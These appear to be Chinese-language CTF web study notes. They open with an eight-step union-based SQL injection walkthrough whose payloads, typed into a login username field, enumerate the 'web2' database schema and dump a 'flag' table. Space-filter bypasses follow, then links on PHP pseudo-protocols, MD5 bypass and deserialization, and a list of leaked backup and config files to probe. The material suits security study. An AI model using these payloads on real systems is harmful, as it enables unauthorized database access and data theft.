SQL注入:
考查点:
- 基本的SQL注入
- 多表联合查询
在用户名处注入sql语句,密码随意
1.查当前数据库名称
' or 1=1 union select 1,database(),3 limit 1,2;#--
2.查看数据库表的数量
' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = 'web2'),3 limit 1,2;#--
3.查表的名字
第一个表:
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 0,1),3 limit 1,2;#--
第二个表:
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 1,2),3 limit 1,2;#--
4.查flag表列的数量
' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#--
5.查flag表列的名字
' or 1=1 union select 1,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#--
6.查flag表记录的数量
' or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#--
7.查flag表记录值
' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#--
8.空格被过滤的替换方法
- /**/
- ()
- 回车(url编码中的%0a)
- `(tap键上面的按钮)
- tap
- 两个空格
php伪协议
PHP伪协议的几种使用姿势-腾讯云开发者社区-腾讯云 (tencent.com)https://cloud.tencent.com/developer/article/2141825
MD5注入
MD5绕过_H3rmesk1t的博客-CSDN博客https://blog.csdn.net/LYJ20010728/article/details/116779357
PHP反序列化
php反序列化漏洞 (baidu.com)https://baijiahao.baidu.com/s?id=1679851297549021453&wfr=spider&for=pc
HTTP请求头属性
Web-vim信息泄露
web-vim信息泄露_vim泄露_admin and root的博客-CSDN博客https://blog.csdn.net/SENMINGya/article/details/131927745
敏感文件url
robots.txt
robots.txt放置在一个站点的根目录下,而且文件名必须全部小写,是搜索引擎中访问网站的时候要查看的第一个文件,记录一些目录和CMS版本信息。ctf中可以在直接访问*/robots.txt来获取文本信息。
vim备份文件
当用户在Linux编辑器编辑文件但意外退出时会在当前目录下生成一个备份文件,文件名格式为:文件名.swp,意外退出更多次后缀可以为.swo .swn……ctf中访问*/.index.php.swp可以下载
gedit备份文件
在Linux下,用gedit编辑器保存后,当前目录下会生成一个后缀为“~”的文件,其文件内容就是刚编辑的内容。格式一般是文件名加后缀,例如:index.php~ ,ctf中也是直接访问*/文件名~
readme.md
记录CMS版本信息,有的甚至有Github地址。ctf中直接访问*/readme.md
www/wwwdata/wwwroot/web/webroot/ & .zip/rar/tar.gz/7z/tar
往往是网站的源码备份。ctf中访问后可以下载本地查看
网站备份文件www.zip
web.xml 泄露
web代码安全:WEB-INF/web.xml泄露 - 知乎 (zhihu.com)https://zhuanlan.zhihu.com/p/593406677